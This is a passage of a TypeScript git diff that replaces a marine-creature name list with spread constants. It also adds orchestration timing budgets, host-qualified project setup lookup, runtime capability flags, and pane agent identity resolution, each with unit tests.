-  'Kingfish',
-  'Mackerel',
-  'Cero',
-  'Dorado',
-  'Mahimahi',
-  'Escolar',
-  'Pomfret',
-  'Butterfish',
-  'Cod',
-  'Haddock',
-  'Pollock',
-  'Whiting',
-  'Hake',
-  'Ling',
-  'Cusk',
-  'Burbot',
-  'Saithe',
-  'Sablefish',
-  'Lingcod',
-  'Greenling',
-  'Rockling',
-  'Halibut',
-  'Flounder',
-  'Sole',
-  'Plaice',
-  'Turbot',
-  'Brill',
-  'Dab',
-  'Fluke',
-  'Megrim',
-  'Sanddab',
-  'Herring',
-  'Sardine',
-  'Anchovy',
-  'Sprat',
-  'Pilchard',
-  'Menhaden',
-  'Shad',
-  'Alewife',
-  'Salmon',
-  'Trout',
-  'Char',
-  'Grayling',
-  'Steelhead',
-  'Kokanee',
-  'Chinook',
-  'Coho',
-  'Sockeye',
-  'Taimen',
-  'Huchen',
-  'Cisco',
-  'Inconnu',
-  'Vendace',
-  'Whitefish',
-  'Perch',
-  'Bass',
-  'Snapper',
-  'Grouper',
-  'Seabass',
-  'Tilefish',
-  'Bream',
-  'Porgy',
-  'Sheepshead',
-  'Pinfish',
-  'Scup',
-  'Tautog',
-  'Sander',
-  'Zander',
-  'Walleye',
-  'Sauger',
-  'Ruffe',
-  'Comber',
-  'Hind',
-  'Coney',
-  'Graysby',
-  'Margate',
-  'Pompano',
-  'Amberjack',
-  'Yellowtail',
-  'Scad',
-  'Runner',
-  'Mullet',
-  'Goatfish',
-  'Threadfin',
-  'Snook',
-  'Barramundi',
-  'Milkfish',
-  'Mojarra',
-  'Weakfish',
-  'Corbina',
-  'Queenfish',
-  'Kahawai',
-  'Tilapia',
-  'Cunner',
-  'Tuskfish',
-  'Razorfish',
-  'Tang',
-  'Porcupinefish',
-  'Burrfish',
-  'Eel',
-  'Wolfeel',
-  'Gardeneel',
-  'Ribboneel',
-  'Cuskeel',
-  'Catfish',
-  'Cory',
-  'Ratfish',
-  'Elephantfish',
-  'Goosefish',
-  'Monkfish',
-  'Sargassum',
-  'Coffinfish',
-  'Seadevil',
-  'Scorpionfish',
-  'Rockfish',
-  'Cabezon',
-  'Rosefish',
-  'Redfish',
-  'Bocaccio',
-  'Thornyhead',
-  'Gurnard',
-  'Searobin',
-  'Fangtooth',
-  'Bristlemouth',
-  'Barreleye',
-  'Spookfish',
-  'Telescopefish',
-  'Lancetfish',
-  'Tripodfish',
-  'Spiderfish',
-  'Daggertooth',
-  'Pearleye',
-  'Ridgehead',
-  'Snaggletooth',
-  'Sturgeon',
-  'Sterlet',
-  'Kaluga',
-  'Cockle',
-  'Mussel',
-  'Clam',
-  'Oyster',
-  'Scallop',
-  'Abalone',
-  'Periwinkle',
-  'Cerith',
-  'Turban',
-  'Tellin',
-  'Geoduck',
-  'Quahog',
-  'Piddock',
-  'Shipworm',
-  'Lobster',
-  'Crayfish',
-  'Shrimp',
-  'Prawn',
-  'Langostino',
-  'Langouste',
-  'Yabby',
-  'Marron',
-  'Dungeness',
-  'Seafan',
-  'Staghorn',
-  'Elkhorn',
-  'Hydroid',
-  'Zoanthid',
-  'Gorgonian',
-  'Seanettle',
-  'Moonjelly',
-  'Sanddollar',
-  'Brittlestar',
-  'Basketstar',
-  'Sunstar',
-  'Seacucumber',
-  'Seabiscuit',
-  'Hearturchin',
-  'Bristleworm',
-  'Featherduster',
-  'Lugworm',
-  'Sandworm',
-  'Palolo',
-  'Arrowworm',
-  'Acornworm',
-  'Flatworm',
-  'Ribbonworm',
-  'Booby',
-  'Frigatebird',
-  'Tropicbird',
-  'Noddy',
-  'Kittiwake',
-  'Dovekie',
-  'Shag',
-  'Anhinga',
-  'Skimmer',
-  'Jaeger',
-  'Oystercatcher',
-  'Eider',
-  'Scoter',
-  'Merganser',
-  'Brant',
-  'Ridley',
-  'Flatback',
-  'Terrapin',
-  'Seasnake',
-  'Diatom',
-  'Plankton',
-  'Larvacean',
-  'Doliolid',
-  'Kelp',
-  'Seagrass',
-  'Eelgrass',
-  'Dulse',
-  'Bladderwrack',
-  'Mola',
-  // Mythological sea & water creatures from public-domain folklore — joining
-  // Kraken, Leviathan, Siren, Triton, Hydra, Medusa, Nereid, and Selkie above.
-  'Scylla',
-  'Charybdis',
-  'Cetus',
-  'Proteus',
-  'Glaucus',
-  'Hippocamp',
-  'Jormungandr',
-  'Hafgufa',
-  'Kelpie',
-  'Merrow',
-  'Nuckelavee',
-  'Afanc',
-  'Rusalka',
-  'Vodyanoy',
-  'Umibozu',
-  'Isonade',
-  'Ningyo',
-  'Mizuchi',
-  'Naga',
-  'Makara',
-  'Bunyip',
-  'Taniwha',
-  'Marakihau',
-  'Lusca',
-  'Undine',
-  'Nixie',
-  'Melusine',
-  'Ondine',
-  'Tiamat',
-  'Dagon',
-  'Aspidochelone',
-  'Capricorn',
-  'Merfolk',
-  'Merman',
-  'Mermaid',
-  'Timingila',
-  'Bakekujira',
-  'Jiaolong',
-  'Encantado',
-  'Hraesvelg'
+  ...MARINE_CREATURE_NAMES_PRIMARY,
+  ...MARINE_CREATURE_NAMES_SECONDARY
 ] as const
diff --git a/src/shared/native-chat-agent-support.ts b/src/shared/native-chat-agent-support.ts
index 8210e907e0a..b5bd27c0016 100644
--- a/src/shared/native-chat-agent-support.ts
+++ b/src/shared/native-chat-agent-support.ts
@@ -1,13 +1,20 @@
+import type { TuiAgent } from './tui-agent'
+
 export type NativeChatTranscriptAgent = 'claude' | 'codex' | 'grok' | 'omp'
 
-/** Agents whose transcripts the native chat view can parse and render. */
-export const NATIVE_CHAT_SUPPORTED_AGENTS: ReadonlySet<string> = new Set([
+/** Agents whose transcripts the native chat view can parse and render, in the
+ *  order the settings pane advertises them. */
+export const NATIVE_CHAT_SUPPORTED_AGENT_LIST: readonly TuiAgent[] = [
   'claude',
   'openclaude',
   'codex',
   'grok',
   'omp'
-])
+]
+
+export const NATIVE_CHAT_SUPPORTED_AGENTS: ReadonlySet<string> = new Set(
+  NATIVE_CHAT_SUPPORTED_AGENT_LIST
+)
 
 export function isNativeChatSupportedAgent(agent: string | null | undefined): boolean {
   return agent != null && NATIVE_CHAT_SUPPORTED_AGENTS.has(agent)
diff --git a/src/shared/new-workspace/worktree-create-retry-policy.ts b/src/shared/new-workspace/worktree-create-retry-policy.ts
index 2d3438b0218..e45da0d5530 100644
--- a/src/shared/new-workspace/worktree-create-retry-policy.ts
+++ b/src/shared/new-workspace/worktree-create-retry-policy.ts
@@ -65,10 +65,3 @@ export function getGeneratedWorktreeCreateRetryCandidate(
 export function isRetryableWorktreeCreateConflict(message: string): boolean {
   return RETRYABLE_WORKTREE_CREATE_CONFLICT_PATTERNS.some((pattern) => pattern.test(message))
 }
-
-// Why: the host drops a *settled* worktree.create dedupe record this long after it
-// resolves, so a client replaying an idempotent create must land inside the window
-// or the replay misses the record and the host's suffix loop builds a second
-// worktree. Shared so the client's replay budget can be asserted against it instead
-// of assuming a value that lives in another process.
-export const WORKTREE_CREATE_DEDUPE_TTL_MS = 60_000
diff --git a/src/shared/orchestration-timing-budgets.test.ts b/src/shared/orchestration-timing-budgets.test.ts
new file mode 100644
index 00000000000..c7cdea5221c
--- /dev/null
+++ b/src/shared/orchestration-timing-budgets.test.ts
@@ -0,0 +1,51 @@
+import { describe, expect, it } from 'vitest'
+import {
+  AGENT_PROMPT_EFFECT_TIMEOUT_MS,
+  ORCHESTRATION_CONTRACT_PREFLIGHT_TIMEOUT_MS,
+  ORCHESTRATION_FEDERATION_ATTACH_GRACE_MS,
+  ORCHESTRATION_READINESS_TIMEOUT_MS,
+  ORCHESTRATION_WORKER_START_CLIENT_GRACE_MS,
+  isWorkerStartTimeoutWithinTimerLimit,
+  resolveFederationAttachDeadlineMs,
+  resolveFederationAttachTimeoutMs,
+  resolveWorkerStartClientTimeoutMs
+} from './orchestration-timing-budgets'
+import { MAX_TIMER_DELAY_MS } from './timer-delay'
+
+describe('orchestration timing budgets', () => {
+  it('keeps the worker-start budget strictly nested', () => {
+    const readiness = ORCHESTRATION_READINESS_TIMEOUT_MS
+    const verify = readiness + AGENT_PROMPT_EFFECT_TIMEOUT_MS
+    const federated = resolveFederationAttachTimeoutMs(readiness)
+    const outer = resolveWorkerStartClientTimeoutMs(readiness)
+
+    expect(ORCHESTRATION_CONTRACT_PREFLIGHT_TIMEOUT_MS + federated).toBeLessThan(outer)
+    expect(verify).toBeLessThan(federated)
+    expect(federated).toBeLessThan(outer)
+    expect(ORCHESTRATION_FEDERATION_ATTACH_GRACE_MS).toBeGreaterThan(AGENT_PROMPT_EFFECT_TIMEOUT_MS)
+    expect(ORCHESTRATION_WORKER_START_CLIENT_GRACE_MS).toBeGreaterThan(
+      ORCHESTRATION_FEDERATION_ATTACH_GRACE_MS
+    )
+  })
+
+  it('caps attach at the outer deadline after preflight', () => {
+    expect(
+      resolveFederationAttachDeadlineMs({
+        readinessTimeoutMs: 60_000,
+        outerDeadlineMs: 105_000,
+        nowMs: 10_000
+      })
+    ).toBe(95_000)
+  })
+
+  it('accepts the exact maximum readiness timeout and rejects the first overflow', () => {
+    const maxValid = MAX_TIMER_DELAY_MS - ORCHESTRATION_WORKER_START_CLIENT_GRACE_MS
+    expect(isWorkerStartTimeoutWithinTimerLimit(maxValid)).toBe(true)
+    expect(isWorkerStartTimeoutWithinTimerLimit(maxValid + 1)).toBe(false)
+  })
+
+  it('keeps ordinary defaults within the timer limit', () => {
+    expect(isWorkerStartTimeoutWithinTimerLimit(undefined)).toBe(true)
+    expect(isWorkerStartTimeoutWithinTimerLimit(0)).toBe(true)
+  })
+})
diff --git a/src/shared/orchestration-timing-budgets.ts b/src/shared/orchestration-timing-budgets.ts
new file mode 100644
index 00000000000..cc6890bf0f0
--- /dev/null
+++ b/src/shared/orchestration-timing-budgets.ts
@@ -0,0 +1,50 @@
+/** Shared timing contracts for agent submission and worker-start transports. */
+import { MAX_TIMER_DELAY_MS } from './timer-delay'
+
+export const AGENT_PROMPT_EFFECT_TIMEOUT_MS = 30_000
+export const ORCHESTRATION_CONTRACT_PREFLIGHT_TIMEOUT_MS = 5_000
+export const ORCHESTRATION_READINESS_TIMEOUT_MS = 60_000
+export const ORCHESTRATION_FEDERATION_ATTACH_GRACE_MS = AGENT_PROMPT_EFFECT_TIMEOUT_MS + 10_000
+export const ORCHESTRATION_WORKER_START_CLIENT_GRACE_MS = AGENT_PROMPT_EFFECT_TIMEOUT_MS + 20_000
+export const SWALLOWED_ENTER_FIXTURE_TIMEOUT_MS = AGENT_PROMPT_EFFECT_TIMEOUT_MS + 30_000
+
+export function resolveWorkerStartReadinessTimeoutMs(timeoutMs: number | undefined): number {
+  return typeof timeoutMs === 'number' && Number.isFinite(timeoutMs) && timeoutMs > 0
+    ? timeoutMs
+    : ORCHESTRATION_READINESS_TIMEOUT_MS
+}
+
+export function resolveFederationAttachTimeoutMs(
+  readinessTimeoutMs = ORCHESTRATION_READINESS_TIMEOUT_MS
+): number {
+  return readinessTimeoutMs + ORCHESTRATION_FEDERATION_ATTACH_GRACE_MS
+}
+
+export function resolveWorkerStartClientTimeoutMs(
+  readinessTimeoutMs = ORCHESTRATION_READINESS_TIMEOUT_MS
+): number {
+  return readinessTimeoutMs + ORCHESTRATION_WORKER_START_CLIENT_GRACE_MS
+}
+
+export function isWorkerStartTimeoutWithinTimerLimit(timeoutMs: number | undefined): boolean {
+  const readinessTimeoutMs = resolveWorkerStartReadinessTimeoutMs(timeoutMs)
+  return (
+    Number.isSafeInteger(readinessTimeoutMs) &&
+    resolveWorkerStartClientTimeoutMs(readinessTimeoutMs) <= MAX_TIMER_DELAY_MS
+  )
+}
+
+export function resolveFederationAttachDeadlineMs(args: {
+  readinessTimeoutMs?: number
+  outerDeadlineMs: number
+  nowMs?: number
+}): number {
+  const nowMs = args.nowMs ?? Date.now()
+  return Math.max(
+    1,
+    Math.min(
+      resolveFederationAttachTimeoutMs(args.readinessTimeoutMs),
+      args.outerDeadlineMs - nowMs
+    )
+  )
+}
diff --git a/src/shared/pane-agent-identity-inventory.test.ts b/src/shared/pane-agent-identity-inventory.test.ts
index 730c6b0ce05..a0297e5c33e 100644
--- a/src/shared/pane-agent-identity-inventory.test.ts
+++ b/src/shared/pane-agent-identity-inventory.test.ts
@@ -55,6 +55,7 @@ const INVENTORY: readonly InventoryGroup[] = [
       ['src/renderer/src/components/automations/automation-list-search-rows.ts', 2],
       ['src/renderer/src/components/dashboard-popout/AgentMapSnapshotWorkspaceMenu.tsx', 2],
       ['src/renderer/src/components/dashboard-popout/AgentMapWorktreeRingNode.tsx', 2],
+      ['src/renderer/src/components/settings/NativeChatSupportedAgents.tsx', 2],
       ['src/renderer/src/components/settings/QuickCommandsList.tsx', 2],
       ['src/renderer/src/components/tab-bar/TabBarQuickCommandItem.tsx', 2],
       ['src/renderer/src/components/tab-bar/TabBarQuickCommandsMenu.tsx', 2],
@@ -123,11 +124,6 @@ const INVENTORY: readonly InventoryGroup[] = [
     classification: 'evidence-producer',
     paths: [['src/renderer/src/hooks/ipc-events/agent-status-routing.ts', 2]]
   },
-  {
-    helper: 'buildAgentNameRe',
-    classification: 'action-consumer',
-    paths: [['src/main/runtime/orchestration/groups.ts', 2]]
-  },
   {
     helper: 'buildAgentNameRe',
     classification: 'parser-implementation',
diff --git a/src/shared/persisted-state-types.ts b/src/shared/persisted-state-types.ts
index 6266f8bc08f..a081eee76ab 100644
--- a/src/shared/persisted-state-types.ts
+++ b/src/shared/persisted-state-types.ts
@@ -77,6 +77,10 @@ export type PersistedState = {
   /** Per paired device last tab selection by worktree; keeps mobile navigation across host restarts. */
   mobileClientTabSelectionsByDeviceId?: PersistedMobileClientTabSelections
   worktreeMeta: Record<string, WorktreeMeta>
+  /** Canonical host/instance metadata; optional for legacy profiles. */
+  worktreeMetaByIdentity?: Record<string, WorktreeMeta>
+  /** Host-qualified locator aliases to canonical identity keys. */
+  worktreeIdentityAliases?: Record<string, string[]>
   worktreeLineageById: Record<string, WorktreeLineage>
   workspaceLineageByChildKey: Record<WorkspaceKey, WorkspaceLineage>
   settings: GlobalSettings
diff --git a/src/shared/project-host-setup-lookup.ts b/src/shared/project-host-setup-lookup.ts
new file mode 100644
index 00000000000..d7d59f4cef9
--- /dev/null
+++ b/src/shared/project-host-setup-lookup.ts
@@ -0,0 +1,30 @@
+import { getRepoExecutionHostId } from './execution-host'
+import type { ProjectHostSetup } from './project-types'
+import type { Repo } from './repo-types'
+import type { WorktreeMeta } from './worktree/meta-types'
+import { projectHostSetupProjectionFromRepos } from './project-host-setup-projection'
+
+export function getProjectHostSetupForRepo(
+  setups: readonly ProjectHostSetup[],
+  repo: Repo
+): ProjectHostSetup {
+  // A repo id can exist on multiple hosts; the host-qualified setup is authoritative.
+  const executionHostId = getRepoExecutionHostId(repo)
+  return (
+    setups.find((setup) => setup.repoId === repo.id && setup.hostId === executionHostId) ??
+    setups.find((setup) => setup.repoId === repo.id) ??
+    projectHostSetupProjectionFromRepos([repo]).setups[0]
+  )
+}
+
+export function getProjectHostSetupWorktreeMeta(
+  setups: readonly ProjectHostSetup[],
+  repo: Repo
+): Pick<WorktreeMeta, 'projectId' | 'hostId' | 'projectHostSetupId'> {
+  const setup = getProjectHostSetupForRepo(setups, repo)
+  return {
+    projectId: setup.projectId,
+    hostId: setup.hostId,
+    projectHostSetupId: setup.id
+  }
+}
diff --git a/src/shared/project-host-setup-projection.test.ts b/src/shared/project-host-setup-projection.test.ts
index 97ea8cc66b0..67fca1ad6b5 100644
--- a/src/shared/project-host-setup-projection.test.ts
+++ b/src/shared/project-host-setup-projection.test.ts
@@ -2,11 +2,11 @@ import { describe, expect, it } from 'vitest'
 import {
   projectHostSetupProjectionFromRepos,
   getProjectHostSetupsForProject,
-  getProjectHostSetupWorktreeMeta,
   isGitHubBackedRepo,
   getProjectIdForProviderIdentity,
   isProjectRemoteIdentityPending
 } from './project-host-setup-projection'
+import { getProjectHostSetupWorktreeMeta } from './project-host-setup-lookup'
 import type { Repo } from './repo-types'
 
 function repo(overrides: Partial<Repo> & Pick<Repo, 'id' | 'path' | 'displayName'>): Repo {
@@ -664,3 +664,23 @@ describe('derived project identity stability', () => {
     expect(projection.projects.map((project) => project.id)).toEqual(['github:acme/app'])
   })
 })
+
+describe('getProjectHostSetupWorktreeMeta host selection', () => {
+  it("picks the setup for the repo's own execution host when a repoId spans two hosts", () => {
+    const sshRepo = repo({
+      id: 'repo-shared',
+      path: '/remote/orca',
+      displayName: 'orca',
+      connectionId: 'build-box'
+    })
+    // Local first in the array: a repoId-only match would stamp the wrong host durably.
+    const setups = [
+      ...projectHostSetupProjectionFromRepos([
+        repo({ id: 'repo-shared', path: '/local/orca', displayName: 'orca' })
+      ]).setups,
+      ...projectHostSetupProjectionFromRepos([sshRepo]).setups
+    ]
+
+    expect(getProjectHostSetupWorktreeMeta(setups, sshRepo).hostId).toBe('ssh:build-box')
+  })
+})
diff --git a/src/shared/project-host-setup-projection.ts b/src/shared/project-host-setup-projection.ts
index 090f421ccdd..954208ee27d 100644
--- a/src/shared/project-host-setup-projection.ts
+++ b/src/shared/project-host-setup-projection.ts
@@ -7,7 +7,6 @@ import { normalizeGitHubRemoteHost } from './git-remote-host-alias'
 import { githubRepoIdentityKey, isDefaultGitHubHost } from './github/repository-identity-key'
 import type { Project, ProjectHostSetup, ProjectProviderIdentity } from './project-types'
 import type { Repo } from './repo-types'
-import type { WorktreeMeta } from './worktree/meta-types'
 
 type ProjectAccumulator = {
   project: Project
@@ -337,25 +336,3 @@ export function getProjectHostSetupsForProject(
 ): readonly ProjectHostSetup[] {
   return setups.filter((setup) => setup.projectId === projectId)
 }
-
-export function getProjectHostSetupForRepo(
-  setups: readonly ProjectHostSetup[],
-  repo: Repo
-): ProjectHostSetup {
-  return (
-    setups.find((setup) => setup.repoId === repo.id) ??
-    projectHostSetupProjectionFromRepos([repo]).setups[0]
-  )
-}
-
-export function getProjectHostSetupWorktreeMeta(
-  setups: readonly ProjectHostSetup[],
-  repo: Repo
-): Pick<WorktreeMeta, 'projectId' | 'hostId' | 'projectHostSetupId'> {
-  const setup = getProjectHostSetupForRepo(setups, repo)
-  return {
-    projectId: setup.projectId,
-    hostId: setup.hostId,
-    projectHostSetupId: setup.id
-  }
-}
diff --git a/src/shared/protocol-version.ts b/src/shared/protocol-version.ts
index bfd58f181e1..9a262cafd7e 100644
--- a/src/shared/protocol-version.ts
+++ b/src/shared/protocol-version.ts
@@ -97,7 +97,8 @@ export const TERMINAL_PAIRED_PARKING_RUNTIME_CAPABILITY = 'terminal.paired-parki
 // terminal creation, so mobile must hide Quick Commands unless both are present.
 export const TERMINAL_QUICK_COMMANDS_RUNTIME_CAPABILITY = 'terminal.quick-commands.v1' as const
 // Why: older hosts strip worktree.create's clientMutationId, so mobile must only
-// replay ambiguous cutovers when the host advertises idempotent create support.
+// replay ambiguous cutovers when the host advertises idempotent create support;
+// status.worktreeCreateIdempotency carries the optional host retention policy.
 export const WORKTREE_CREATE_IDEMPOTENCY_RUNTIME_CAPABILITY =
   'worktree.create-idempotency.v1' as const
 export const CODEX_RESET_CREDIT_RUNTIME_CAPABILITY = 'accounts.codex-reset-credit.v1' as const
@@ -136,6 +137,8 @@ export const AUTOMATION_LIST_HOST_SCOPE_UPDATE_REQUIRED_MESSAGE =
 export const AUTOMATION_OWNER_FENCING_RUNTIME_CAPABILITY = 'automation.owner-fencing.v1' as const
 export const AUTOMATION_OWNER_FENCING_UPDATE_REQUIRED_MESSAGE =
   'Editing automations on this host requires a newer Orca server. Update the HUB and try again.'
+export const AUTOMATION_CREATE_IDEMPOTENCY_RUNTIME_CAPABILITY =
+  'automation.create-idempotency.v1' as const
 
 // Generic native clients include the CLI and must not claim Electron-only page
 // placement support.
@@ -144,7 +147,8 @@ export const NATIVE_REMOTE_RUNTIME_CLIENT_CAPABILITIES = [
   AGENT_SESSION_BOUNDARY_RUNTIME_CAPABILITY,
   WORKTREE_VISIBILITY_DEFAULTS_RUNTIME_CAPABILITY,
   WORKTREE_VISIBILITY_SOURCE_DEFAULTS_RUNTIME_CAPABILITY,
-  AUTOMATION_OWNER_FENCING_RUNTIME_CAPABILITY
+  AUTOMATION_OWNER_FENCING_RUNTIME_CAPABILITY,
+  AUTOMATION_CREATE_IDEMPOTENCY_RUNTIME_CAPABILITY
 ] as const
 
 // Electron clients can decode client-hosted page placement; becoming a page
@@ -212,7 +216,8 @@ export const RUNTIME_CAPABILITIES = [
   SKILL_INSTALL_PROVIDERS_CAPABILITY,
   SKILL_DELETE_CAPABILITY,
   AUTOMATION_LIST_HOST_SCOPE_RUNTIME_CAPABILITY,
-  AUTOMATION_OWNER_FENCING_RUNTIME_CAPABILITY
+  AUTOMATION_OWNER_FENCING_RUNTIME_CAPABILITY,
+  AUTOMATION_CREATE_IDEMPOTENCY_RUNTIME_CAPABILITY
 ] as const
 
 export type RuntimeCapability = (typeof RUNTIME_CAPABILITIES)[number] | (string & {})
diff --git a/src/shared/published-pane-agent-identity.test.ts b/src/shared/published-pane-agent-identity.test.ts
new file mode 100644
index 00000000000..6a338e891c6
--- /dev/null
+++ b/src/shared/published-pane-agent-identity.test.ts
@@ -0,0 +1,123 @@
+import { describe, expect, it } from 'vitest'
+import { resolvePublishedPaneAgentIdentity } from './published-pane-agent-identity'
+
+const resolve = resolvePublishedPaneAgentIdentity
+
+describe('resolvePublishedPaneAgentIdentity', () => {
+  describe('a task title cannot name the pane', () => {
+    // Minimized from real recorded titles. Each is a pane of one agent whose task text names
+    // another; before this, `@<other>` routing delivered to them.
+    it.each([
+      ['Switch Claude and Codex off the load balancer… - grok', 'grok'],
+      ['Review the Claude session-history fix', 'codex'],
+      ['✳ Fix the text cursor blink', 'claude']
+    ])('keeps %j as its launched agent', (title, launchAgent) => {
+      expect(resolve({ launchAgent: launchAgent as never, title })).toBe(launchAgent)
+    })
+  })
+
+  it('keeps the launch record when an unambiguous title names a different agent', () => {
+    // The ranking assertion. Every other case here either yields no title evidence or agrees with
+    // the launch record, so without this one the suite passes even with title ranked FIRST —
+    // verified by mutation. `✳ Claude Code` is a parseable, unambiguous Claude title, and it still
+    // must not rename a pane Orca launched as Codex.
+    expect(resolve({ launchAgent: 'codex', title: '✳ Claude Code' })).toBe('codex')
+  })
+
+  it('prefers the live foreground process to the launch record', () => {
+    // The pane was launched as Claude and the user then started Codex in it. The process is the
+    // more direct observation, so it wins.
+    expect(resolve({ launchAgent: 'claude', foregroundAgent: 'codex' })).toBe('codex')
+  })
+
+  describe('title is the last resort, and the parser is what makes that safe', () => {
+    // The misdelivery this PR exists to stop, re-checked with title ALLOWED at the bottom. The old
+    // code matched `buildAgentNameRe('claude').test(title)`; the parser is categorically stricter
+    // and yields nothing for a name that only appears in task text.
+    it('does not name a Codex pane Claude from its task text', () => {
+      expect(resolve({ title: 'Review the Claude session-history fix' })).toBeUndefined()
+    })
+
+    it('reads the owner suffix, not the agents named in the task text', () => {
+      expect(resolve({ title: 'Switch Claude and Codex off the load balancer… - grok' })).toBe(
+        'grok'
+      )
+    })
+
+    it('identifies a pane whose title unambiguously names its agent', () => {
+      // The WSL case: no launch record, no readable foreground process, no hooks installed. An
+      // unambiguous title is the only thing left, and refusing it made the pane unaddressable.
+      expect(resolve({ title: '✳ Claude Code' })).toBe('claude')
+    })
+
+    it('still declines a bare worktree name that merely contains an agent word', () => {
+      expect(resolve({ title: 'review-14600-codex' })).toBeUndefined()
+    })
+
+    it('lets every stronger source outrank an unambiguous title', () => {
+      expect(resolve({ title: '✳ Claude Code', hookAgent: 'codex', hookIsLive: true })).toBe(
+        'codex'
+      )
+      expect(resolve({ title: '✳ Claude Code', foregroundAgent: 'codex' })).toBe('codex')
+      expect(resolve({ title: '✳ Claude Code', launchAgent: 'codex' })).toBe('codex')
+    })
+  })
+
+  it('publishes nothing when the title names no agent unambiguously', () => {
+    // Absence is meaningful: it tells a caller to fail closed rather than guess.
+    expect(resolve({ title: '◐ Rebase PR #14624 onto main' })).toBeUndefined()
+    expect(resolve({ title: 'Fix the codex bug' })).toBeUndefined()
+    expect(resolve({})).toBeUndefined()
+  })
+
+  it('publishes nothing for a hyphenated worktree name that contains an agent word', () => {
+    expect(resolve({ title: 'review-14600-codex' })).toBeUndefined()
+  })
+
+  describe('identity must not depend on how the agent was started', () => {
+    // Most agents are started by typing `claude` / `codex` at a shell, not through Orca's agent
+    // launcher. Those panes have no launch record at all, so anything that leans on one works for
+    // roughly half of real usage.
+    it('identifies a shell-started agent from its own hook report', () => {
+      expect(resolve({ hookAgent: 'codex', hookIsLive: true })).toBe('codex')
+    })
+
+    it('identifies a shell-started agent on WSL, where the process signal is useless', () => {
+      // The Windows host reads the foreground process of a WSL pane as `wsl.exe`, not the agent
+      // running inside the distro — so `foregroundAgent` cannot name it and there is no launch
+      // record. Without hook evidence this pane is unaddressable.
+      expect(resolve({ hookAgent: 'codex', hookIsLive: false })).toBe('codex')
+    })
+
+    it('still resolves when only a launch record exists', () => {
+      expect(resolve({ launchAgent: 'claude' })).toBe('claude')
+    })
+  })
+
+  describe('a launch record is outranked by live observation, not by other records', () => {
+    // NOTE: `launch` deliberately still ranks ABOVE `completed-hook`, matching
+    // pane-agent-owner.ts. Demoting it looked right — a launch record is past tense — but a
+    // completed hook is past tense too, and without run keys it never expires. Ranking it higher
+    // lets a stale hook from a previous agent hijack a pane from the fresh launch record of the
+    // agent running now. The reorder belongs with run generation, not before it.
+
+    // Field report: launch an agent, close it, reuse the terminal — the pane kept reading as the
+    // old agent. A launch record does not stop being true when the thing it describes ends.
+    it('keeps the launch record when only a completed hook competes', () => {
+      // Both are records, and neither expires without run keys. The launch record is the one Orca
+      // stamped for the CURRENT process, so promoting the hook above it lets a stale hook from a
+      // previous agent hijack the pane. Matches pane-agent-owner.ts.
+      expect(resolve({ launchAgent: 'claude', hookAgent: 'codex', hookIsLive: false })).toBe(
+        'claude'
+      )
+    })
+
+    it('lets a live hook outrank a stale launch record', () => {
+      expect(resolve({ launchAgent: 'claude', hookAgent: 'codex', hookIsLive: true })).toBe('codex')
+    })
+
+    it('lets the live foreground process outrank a stale launch record', () => {
+      expect(resolve({ launchAgent: 'claude', foregroundAgent: 'codex' })).toBe('codex')
+    })
+  })
+})
diff --git a/src/shared/published-pane-agent-identity.ts b/src/shared/published-pane-agent-identity.ts
new file mode 100644
index 00000000000..a00864a3b3a
--- /dev/null
+++ b/src/shared/published-pane-agent-identity.ts
@@ -0,0 +1,61 @@
+import { collectAgentTitleEvidence } from './agent-title-evidence'
+import { resolvePaneAgentIdentity } from './pane-agent-identity-resolver'
+import type { TuiAgent } from './tui-agent'
+
+/**
+ * The agent a host publishes for a pane, for consumers that ACT on identity.
+ *
+ * Kept out of the runtime class so it can be tested without one, and so routing, delivery and the
+ * UI all read the same decision instead of each re-deriving it.
+ *
+ * Hook evidence ranks first because the agent reports its own identity regardless of how it was
+ * started — Orca's launcher, a shell prompt, or a resumed session — and regardless of host.
+ *
+ * Title ranks LAST and is a genuine last resort, not forbidden. An earlier revision refused it
+ * outright for action consumers, reasoning that a title must never authorize a write. That
+ * conflated the parser with the raw substring match it replaced: `collectAgentTitleEvidence`
+ * returns null on exactly the shapes that caused misdelivery — "Review the Claude session-history
+ * fix" on a Codex pane yields nothing, and "Switch Claude and Codex off the load balancer… - grok"
+ * yields grok from its owner suffix. Refusing it instead cost real panes their identity: an agent
+ * a user started by hand inside an Orca WSL terminal has no launch record, no readable foreground
+ * process (the Windows host sees `wsl.exe`), and — until managed Codex hooks install there — no
+ * hook either, leaving a title that names it unambiguously as the only thing left.
+ *
+ * Returns undefined when nothing is known, and absence is published as absence. A caller that
+ * authorizes an action must fail closed on it rather than falling back to parsing the title.
+ */
+export function resolvePublishedPaneAgentIdentity(args: {
+  /**
+   * The agent a provider hook reported for this pane. The ONLY signal that does not depend on how
+   * the agent was started: a user who types `claude` at a shell still posts hooks. It is also the
+   * only one that survives WSL, where the Windows host reads the foreground process as `wsl.exe`
+   * rather than the agent running inside the distro.
+   */
+  hookAgent?: TuiAgent | null
+  /** Whether that hook belongs to a turn in progress, as opposed to one that finished. */
+  hookIsLive?: boolean
+  launchAgent?: TuiAgent | null
+  foregroundAgent?: TuiAgent | null
+  title?: string | null
+}): TuiAgent | undefined {
+  const titleAgent = args.title ? collectAgentTitleEvidence(args.title).agent : null
+  return (
+    resolvePaneAgentIdentity({
+      evidence: [
+        ...(args.hookAgent
+          ? [
+              {
+                source: args.hookIsLive ? ('live-hook' as const) : ('completed-hook' as const),
+                agent: args.hookAgent
+              }
+            ]
+          : []),
+        ...(args.foregroundAgent
+          ? [{ source: 'process' as const, agent: args.foregroundAgent }]
+          : []),
+        ...(args.launchAgent ? [{ source: 'launch' as const, agent: args.launchAgent }] : []),
+        ...(titleAgent ? [{ source: 'title' as const, agent: titleAgent }] : [])
+      ]
+    }).agent ?? undefined
+  )
+}
diff --git a/src/shared/pull-request-generation.test.ts b/src/shared/pull-request-generation.test.ts
index be18305e3f0..0bb21502bec 100644
--- a/src/shared/pull-request-generation.test.ts
+++ b/src/shared/pull-request-generation.test.ts
@@ -173,6 +173,20 @@ describe('parseGeneratedPullRequestFields', () => {
     })
   })
 
+  it('keeps an explicitly empty body instead of falling back', () => {
+    const fields = parseGeneratedPullRequestFields(
+      '{"base":"main","title":"chore: add new app config","body":"","draft":false}',
+      context
+    )
+
+    expect(fields).toEqual({
+      base: 'main',
+      title: 'chore: add new app config',
+      body: '',
+      draft: false
+    })
+  })
+
   it('rejects excessive nesting before JSON.parse', () => {
     const parseSpy = vi.spyOn(JSON, 'parse')
     const depth = GENERATED_PULL_REQUEST_JSON_STRUCTURE_LIMITS.nestingDepth + 1
